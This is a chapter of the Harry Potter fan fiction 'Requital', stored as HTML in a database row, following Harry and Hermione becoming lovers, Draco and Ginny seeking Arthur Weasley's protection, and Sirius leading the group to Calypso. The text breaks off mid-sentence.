	(90, 9, '\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p style="line-height:150%"><b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b><i> </i></p>\n<i>&nbsp;(Again, thank you \n  for your kind reviews.&nbsp; I&#8217;ve been dreaming this story every night, writing when \n  I can.&nbsp; I&#8217;m thrilled by the emails I&#8217;ve gotten.&nbsp; Thank you so much.)</i>\n<b> &nbsp; </b>\n<b><u>Chapter 9 &#8211; Hide and Seekers</u></b>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp; &nbsp; Freezing rain tapped frantically against the window as Ginny Weasley \n  fumbled through her desk searching for a quill and paper.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What will you say to him?&#8221; Draco asked, staring at the hardened droplets \n  now icing over the glass.</p>\n<p>&nbsp;&nbsp; &nbsp; &#8220;Just that we&#8217;re coming,&#8221; she replied, finding the floral notepaper Ron \n  had given her for Christmas.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<i>No more bloody diaries</i>, Ron had said to her then.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; She began to write.&nbsp; They wouldn&#8217;t understand, but she had to try to help \n  him.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>You are everything</i>,&#8221; Draco whispered.&nbsp; It was the closest he had \n  ever come to saying I love you.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; He had released all of his anger and sadness inside of her, and she had \n  withstood it, renewing his strength, comforting him in the most intimate way \n  possible. </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I won&#8217;t let Lucius find you,&#8221; Ginny said, unsure of how she would keep \n  that promise.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; She loved Draco.&nbsp; Even with his repressed sadness and unrepressed rage.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco knew Lucius would come after him.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Malfoy&#8217;s didn&#8217;t run.&nbsp; Malfoy&#8217;s didn&#8217;t disobey</i>.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; He was afraid. The only person he&#8217;d ever shared that emotion with before \n  was his mother.&nbsp; He knew Lucius had lied to him.&nbsp; His mother would never have \n  killed herself.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco hoped Narcissa hadn&#8217;t seen it coming.&nbsp; He hoped his father had been \n  mercifully quick.&nbsp; </p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; They lay on their backs, side by side.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione had thought perhaps the night before last had been an aberration.&nbsp; \n  She didn&#8217;t think it would happen again.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; But it did.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at her then.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s happened to us?&#8221; Hermione said, her voice still not quite awake.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I thought it was pretty obvious,&#8221; Harry replied, raising his hand to \n  touch her shoulder.</p>\n<p>&nbsp; &nbsp;&nbsp; &#8220;Not entirely,&#8221; she said.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A pause.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve become lovers,&#8221; he answered for her.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Another pause.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why didn&#8217;t we become lovers sooner?&#8221; she asked, turning towards him and \n  sliding one leg between his thighs.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I guess we were too determined not to be,&#8221; he said.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Harry rose up on one elbow, looking down at her face.&nbsp; He decided he liked \n  the way she looked laying on his pillow.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you love me?&#8221; she asked, flicking her tongue at a lock of hair that \n  had pasted itself beside her mouth sometime during the night.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed.</p>\n<p>&nbsp; &nbsp;&#8220;I&#8217;ve always loved you, Hermione,&#8221; he said, moving his mouth to hers.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; There was a soft knock at his bedroom door.&nbsp; Harry groaned. Ron must have \n  come back already.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Give us a minute Ron,&#8221; Harry said, annoyed at the interruption.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Silence.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, It&#8217;s me&#8230;Sirius.&#8221; </p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mrs. Mills, I know that you love your niece.&nbsp; I&#8217;m not going to pretend \n  I understand how you&#8217;re feeling right now, but please believe me when I say \n  that we are on the side of good.&nbsp; Hermione has saved many lives with her gifts.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Lois Mills sat quietly, staring at the middle-aged wizard who seemed most \n  sincere.&nbsp; The room they were keeping her in was far from a prison after all, \n  and no harm had come to her.&nbsp; In fact, everything she had requested the night \n  before had been done for her.&nbsp; And the breakfast cakes <i>were</i> exceptional&#8230;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I will look through the box this morning.&nbsp; I&#8217;ve read every book I own.&nbsp; \n  I can&#8217;t say I will remember them all, but I&#8217;ll try,&#8221; she said finally.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Arthur Weasley breathed a sigh of relief.&nbsp; He hoped Sirius had received \n  his owl.&nbsp; He knew Harry would remember to send one, but he had needed to let \n  Sirius in on information he had just received from Calypso that he wasn&#8217;t yet \n  comfortable telling Harry, Ron, or Hermione&#8230;especially Hermione.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you Mrs. Mills.&nbsp; Perhaps you&#8217;d like your niece to come by and visit \n  in a day or two?&nbsp; She was terribly worried about you,&#8221; he suggested offering \n  her more tea.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, that would be nice.&nbsp; If she&#8217;ll see me after how I behaved,&#8221; Lois \n  confessed, suddenly feeling foolish.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Arthur stood, smiling down at the now very mellow Mrs. Mills.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know she will, as soon as she gets a chance.&nbsp; I know it&#8217;s unlikely \n  you&#8217;ll know what&#8217;s missing or what&#8217;s not missing&#8230;but please try.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Mills looked down at the sizable pile as he left.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>It would be very unlikely indeed.</i></p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How could he have walked off?&#8221; the ringmaster said, his voice seething.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Locust shuffled, moving farther away from him.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What does it matter?&nbsp; He is replaceable,&#8221; Locust said.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; The ringmaster could feel his hands starting to tear into the bar he was \n  leaning against.&nbsp; The wood paneling began to crack under his grip.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are a puerile fool.&nbsp; If he could leave, then he wasn&#8217;t wholly affected \n  by our magic.&nbsp; He must have had resistance. The other called Ivan let him go?&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The other was affected by our spells.&nbsp; He barely remembers him leaving&#8230;said \n  he left with those two whores,&#8221; Locust sounding as if he were speaking from \n  a distance.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; The ringmaster could feel the heat rising under his skin.&nbsp; He struggled \n  to maintain control, for her sake.&nbsp; Everything was for her sake.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She will need to be taken elsewhere.&nbsp; Somewhere well protected where \n  little light can get in&#8230;until her day of revelation.&nbsp; You are most fortunate \n  that we are almost prepared to move forward.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Locust nodded somberly, finally realizing the magnitude of his error.&nbsp; \n</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The time is so near now.&nbsp; Should we open the gateway and allow some more \n  to pass through?&nbsp; They would be most useful,&#8221; Locust suggested.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We will open the gate and allow a few more to pass beforehand.&nbsp; It will \n  be difficult sustaining them, but we will use the wizard Malfoy,&#8221; the ringmaster \n  said, &#8220;after all, they brought us great success in Cairo.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Excitement began to build in Locust&#8217;s distended stomach. &nbsp;It was all coming \n  to pass sooner then he had thought.&nbsp;&nbsp; </p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Harry hurried around the room searching for his discarded jeans.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Christ, he couldn&#8217;t have gotten my owl already.&nbsp; I only sent it six \n  hours ago.</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat up in bed, unsure of what to do next.&nbsp; She certainly didn&#8217;t \n  want to cause Harry any more embarrassment.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Not to mention Sirius told her once that she had become like his own \n  daughter to him, </i>she thought<i>.&nbsp; </i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll be right out.&nbsp; There&#8217;s coffee in the kitchen&#8230;Ron set the pot on \n  a timer&#8230;&#8221; Harry shouted, pulling on a pair of wrinkled black jeans that lay \n  at his feet.</p>\n<p>&nbsp;&nbsp;&nbsp; There was an uncomfortable cough on the other side of the door, and footsteps \n  heading towards the kitchen.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, I can&#8217;t wear this!&#8221; Hermione said, holding up the tiny dress she \n  had worn the night before.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Harry reached into his dresser tossing her a shirt and some pants.&nbsp; Her \n  face went blank.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;ll have to do for now, unless you want Sirius to see you in that dress,&#8221; \n  he laughed.</p>\n<p>&nbsp;&nbsp;&nbsp; She collapsed back onto the bed.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Why couldn&#8217;t they ever wake up and have a nice normal morning after.</i></p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Reflected light danced across the marble statue of Lucius Malfoy&#8217;s father, \n  a man he had never once defied.&nbsp; He contemplated where he had failed his own \n  son.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp; &nbsp; It was, of course, Narcissa&#8217;s coddling of the boy and her insistence \n  that they indulge his love of childish things that had done this.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Lucius made nearly a full circuit of Malfoy Manor before he found evidence \n  that Draco had fled from him.&nbsp; The gold he kept in the cellar was gone, as well \n  as two envelopes of Muggle money that Lucius kept whenever he was forced to \n  dwell among the non-magical.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>At least the boy wasn&#8217;t a complete idiot.</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A chill ran up his shoulders, and the familiar feeling of being watched \n  gave him pause.&nbsp; Wind drifted in from the now open glass panels of the room.&nbsp; \n  The intruder smelled of burnt flesh.</p>\n<p>&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m surprised you were able to enter unaccompanied,&#8221; Lucius said, feeling \n  calmly for the wand in his pocket.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Locust Daviz smiled, showing more of his yellow teeth. Lucius watched \n  the saliva dripping from the man&#8217;s mouth and wondered if he were being set up.</p>\n<p>&nbsp;&nbsp;&nbsp; Locust laughed, sealing the windows behind him.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We are going to bestow upon you a great honor, &#8221; Locust said.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Lucius smirked, his hands loose and relaxed now.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Locust detested this place; even with all of it&#8217;s darkness it smelled \n  like wildflowers and running water.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are a man of considerable power, and being so, we know that we can \n  rely on you to further our mutual cause.&nbsp; You will be receiving a visitor shortly.&nbsp; \n  I expect you will prepare everything as is dictated to you&#8230;and of course you \n  will be greatly rewarded,&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course,&#8221; Lucius said straightening up, displeased with the condescending \n  tone of Locust&#8217;s voice, but intrigued by the promise of reward.</p>\n<p>&nbsp;&nbsp;&nbsp; &#8220;Very well then.&nbsp; You will gather only the most senior wizards to meet \n  here.&nbsp; There is much to be done,&#8221; Locust directed.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Locust had something in his hand.&nbsp; His face was fixed, pale, his teeth \n  bared.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is that?&#8221; Lucius said, examining the large blood flecked bag with \n  interest.</p>\n<p>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&#8220;We are giving you servants&#8230; it will sustain them,&#8221; Locust said, a strange \n  lucidity in his voice.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Something wheezed and bubbled in the dark, their eyes narrowing in on \n  their new master.&nbsp; As Lucius looked down at the dark, pulsating creatures, a \n  cold trickle of sweat made its way down his cheek.</p>\n<p align="center">&nbsp;&nbsp;&nbsp;&nbsp; #</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius Black stood at the kitchen counter, having the worst cup of coffee \n  in his life.&nbsp; </p>\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp; The occasional cup of coffee he had gotten while in Azkaban was better \n  than this.</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; He had tried to sleep peacefully night before, but sleep came in the form \n  of edited segments of his memory.&nbsp; He had awakened repeatedly hearing the voices&#8230; \n  the screams.&nbsp; <i></i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t say it was good coffee, but it&#8217;ll wake you up,&#8221; Harry joked, \n  noting the pained expression on Sirius&#8217; face.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius looked exhausted, as if he had just tumbled out of bed himself.&nbsp; \n  His graying unkempt hair was longer then he usually kept it.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Arthur Weasley owled me.&nbsp; He told me that you would be contacting me \n  too, but I decided to take the nearest portkey here.&nbsp; I wanted an excuse to \n  regroup sooner, especially after witnessing what happened in Cairo,&#8221; Sirius \n  began.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione sneezed, still in Harry&#8217;s room.&nbsp; Harry flushed.&nbsp; Sirius looked \n  at him apprehensively, not happy to have interrupted this scene.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t know you were having company.&nbsp; I wouldn&#8217;t have apparated inside.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius sat down on the couch now, a Muggle pistol, .38, strapped to his \n  hip.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220; I suppose we&#8217;d better wait to talk further until your lady friend leaves,&#8221; \n  Sirius said, still trying to swallow the high-octane sludge.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s&#8230;well she&#8217;s&#8230;&#8221; Harry stumbled, trying to pick words out thin air.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; His bedroom door creaked open, and Hermione walked out, swimming in Harry&#8217;s \n  trousers and shirt with her face as red as her hair.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So good to see you Sirius! I was glad to hear from you when I was staying \n  with the Weasley&#8217;s&#8221; she said embracing him warmly.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius shot Harry a threatening glance over Hermione&#8217;s shoulder.&nbsp; Harry \n  looked back apologetically.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry there wasn&#8217;t more I could do dear.&nbsp; It&#8217;s wonderful to see you \n  too,&#8221; Sirius replied, not removing his eyes from his godson.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So I suppose some catching up is in order,&#8221; Harry began, desperate to \n  cut through the awkwardness.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I suppose it is,&#8221; Sirius said.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Alohamora, </i>Ronald Weasley whispered, abruptly finding himself in \n  the midst of this graceless reunion.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hiya, Sirius!&#8221; </p>\n<p>&nbsp;&nbsp;&nbsp; </p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco and Ginny followed the continuous walkway towards the Ministry building \n  with their hands in their pockets, quickly passing unseeing faces.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco could feel the sting of vomit in his throat.&nbsp; Ginny&#8217;s eyes focused \n  on her own footsteps following the curve of the concrete, hoping that the hood \n  Draco wore would be enough to let them go unnoticed until they reached their \n  destination.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Her father should have received the owl by now.&nbsp; He would be waiting for \n  them.&nbsp; She knew as much as he hated Lucius Malfoy, he wouldn&#8217;t refuse Draco.&nbsp; \n</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; But there was so much more they&#8217;d have to explain.&nbsp; Why he&#8217;d chosen to \n  come to her, for example.&nbsp; She&#8217;d have to explain that.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco was grateful for her lead.&nbsp; Ginny seemed as if she were continually \n  on the verge of colliding with the Muggles they passed, but the people seemed \n  to know to step aside, making room for them.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; She slid her hand into his, the sensation pushing him forward.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; They stopped in front of their destination.&nbsp; There was a stillness, soft \n  voices of people caught up in their everyday tasks.&nbsp; Draco longed for the luxury \n  of not fearing for his life.&nbsp; Not fearing for hers.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; They stepped inside.&nbsp; No one seemed to notice.&nbsp; The people who buzzed \n  by were young; a few of them barely out of Hogwarts, much like himself.&nbsp; The \n  front reception area was lined with silver statues, figures of Muggle presidents \n  and a computer sat in the corner, dust gathering on its surfaces.&nbsp; <i>Central \n  Consulting, </i>the sign read above the receptionist&#8217;s desk.&nbsp; There were two \n  elevators, and a hallway off to the left of the main entrance.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; The receptionist, a young girl with short brown hair smiled at them, recognizing \n  Ginny.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hello Ginny, is your father expecting you?&#8221; she asked, too busy examining \n  the blonde man beside Ginny to notice Arthur Weasley suddenly standing beside \n  her.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes Sarah, I was expecting them both,&#8221; Arthur Weasley said, noticing \n  Ginny&#8217;s hand intertwined with Draco&#8217;s.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; They boarded the nearest elevator and followed the elder Weasley along \n  the hallways fitted with electronic doors that opened at the sound of his voice.&nbsp; \n  Muggle technology at it&#8217;s finest.</p>\n<p>&nbsp;</p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp; &nbsp;&nbsp;&nbsp;Cho arrived freshly showered, slightly less caustic then she was last \n  night.&nbsp; She handed the clothes she had brought over to Hermione.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Honestly, she could have at least brushed her hair.</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ron moved out of his chair so Cho could sit down.&nbsp; He received a sweet \n  smile for his chivalrous act.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave Cho a sincere look of gratitude.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; she said, while Cho looked her over, obviously displeased with \n  her current state of disarray.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ms. Chang is it?&#8221; Sirius said, standing to shake her hand.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Cho smiled politely, taking it.&nbsp; She gave her hair an involuntary toss.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville&#8217;s not here yet?&#8221; she asked, noticing the empty spot on the couch \n  he&#8217;d normally be occupying.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Harry was rubbing his palms across his knees nervously.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Probably trying to convince Danielle to let him leave the house again,&#8221; \n  Ron said, looking up from his plate of defrosted waffles.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius laughed.&nbsp; Neville moving in with that Muggle woman, lovely as she \n  was, had complicated his life a bit.&nbsp; As if on cue, the missing agent knocked \n  on the door.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry.&nbsp; Just got tied up a bit,&#8221; Neville said, his mouth turning into \n  a childish grin upon seeing Sirius, &#8220;so&#8230;what do we do now?&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius pulled a crimson envelope from his pocket.&nbsp; Portkey passes.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We leave for Calypso in two hours.&nbsp; There is someone there we need to \n  see.&#8221;</p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ginny&#8217;s mouth was hard, her lips pressed into a thin line.&nbsp; Arthur Weasley, \n  who stood peering out of his window, was infuriated by his daughter&#8217;s deception \n  and unsure of whether to trust this young Malfoy. </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Seeing him behind our backs for two years?&nbsp; Lying to us for two years? \n  </i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco rose to walk out, a mindless reflex.&nbsp; Ginny stopped him with a hand \n  on his chest.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad, please believe us, Draco isn&#8217;t lying,&#8221; she said.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Arthur Weasley took off his glasses, closing his eyes for a moment.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We will find you somewhere secure, but you will align yourself with us.&nbsp; \n  No Malfoy loyalty, no dark wizard ties.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco nodded, gripping Ginny&#8217;s hand.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;We will investigate your mother&#8217;s death, but we can&#8217;t afford to raid \n  Malfoy Manor,&#8221; Arthur Weasley confessed, &#8220;We simply don&#8217;t have the resources.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Draco knew this to be true.&nbsp; His old dwelling was well protected.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you sir,&#8221; Draco said, finding his newfound civility slightly uncomfortable.&nbsp; \n</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="text-align:center" align="center">#</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fucking Freezing,&#8221; Ron said, stepping out from the shadow behind Harry \n  onto the icy street.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius was the only one who had visited this place before. </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Hermione thought that Sirius was the loneliest man she had ever known.&nbsp; \n  He was lonely with his walk, his posture&#8230;even the mellow low tones of his voice \n  rang out with isolation.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s confidence waned as they looked out into the city before them.&nbsp; \n  Everything they laid eyes upon was ominous.&nbsp; The streets were worn and broken, \n  filled with things that were normally unseen.&nbsp; A small boy with one arm, an \n  old gray haired woman dressed as if she were a whore.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius pointed towards a building that seemed miles away.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s the Calypso Ministry Headquarters,&#8221; he said to them calmly, hardened \n  to the scene.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius guided them to the train station.&nbsp; There were animals lying in \n  the street, decaying without disturbance.&nbsp; Hermione moved closer to Harry, trying \n  to keep up with his stride.&nbsp; A woman with her lips wrapped around the short \n  stem of a metal pipe lunged at Cho, begging at the girl&#8217;s feet.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Cho swerved to avoid her, moving closer to Ron.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; When they boarded the train, Hermione picked up a newspaper that was left \n  lying on a seat.&nbsp; She turned its pages with such crispness, that someone who \n  didn&#8217;t know her quite so well would have thought her to be impatient.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you looking for?&#8221; Sirius asked.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione stopped reading, looking up at him.</p>\n<p>&nbsp;&nbsp;&nbsp; &#8220;For what thing devastated this place.&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ron turned his head towards the train&#8217;s window.&nbsp; Cho looked down at her \n  feet.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221; Sirius said finally.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing?&#8221;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing.&nbsp; It&#8217;s only Muggle poverty.&nbsp; Our office is very small here,&#8221; \n  Sirius explained.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Behind the door in the next car, it sounded like something was dying.&nbsp; \n  Hermione watched Harry carefully, observing his gestures and expressions.&nbsp; He \n  was as perplexed as she was as to the purpose of this visit.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius reached into his bag, handing Ron and Harry neckties.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They are very formal in this office.&nbsp; Muggle businessmen in this town \n  all wear these,&#8221; he said.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione was, for once, happy that Cho had chosen something decent for \n  her.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>With the Dark Army attacking every day&#8230;some people are still worried \n  whether or not they&#8217;re wearing ties?</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; The train moved quickly, buzzing through a series of tunnels that linked \n  overhead buildings.&nbsp; &nbsp;As they walked up the corridor leading to their destination, \n  Hermione noticed the windows were all mirrored and remarkably clean.&nbsp; A striking \n  contrast to the filth they had seen earlier.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Hermione could somehow envision the building shattering to pieces.&nbsp; She \n  pushed the thought from her head.</p>\n<p>&nbsp; &nbsp;&nbsp;&#8220;They are quite anxious to meet the man who defeated Voldemort,&#8221; Sirius \n  added, pride flashing in his eyes.</p>\n<p align="center">&nbsp;&nbsp;&nbsp;&nbsp; #</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ronald Weasley understood the force of Harry&#8217;s presence here.&nbsp; And he \n  would once again be standing behind him, the fellow with the fixed smile.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; The personnel at the Calypso Ministry had a spirit of generous welcome, \n  and Ron would have liked to remain longer in their company.&nbsp; They watched Harry&#8217;s \n  every move and hung onto his every word.&nbsp; Harry remained humble, of course.&nbsp; \n  He was Harry Potter after all.&nbsp; Modest, strong&#8230;his bloody best friend. </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<i>Like a God damn brother.</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ron loved Harry, but he did envy 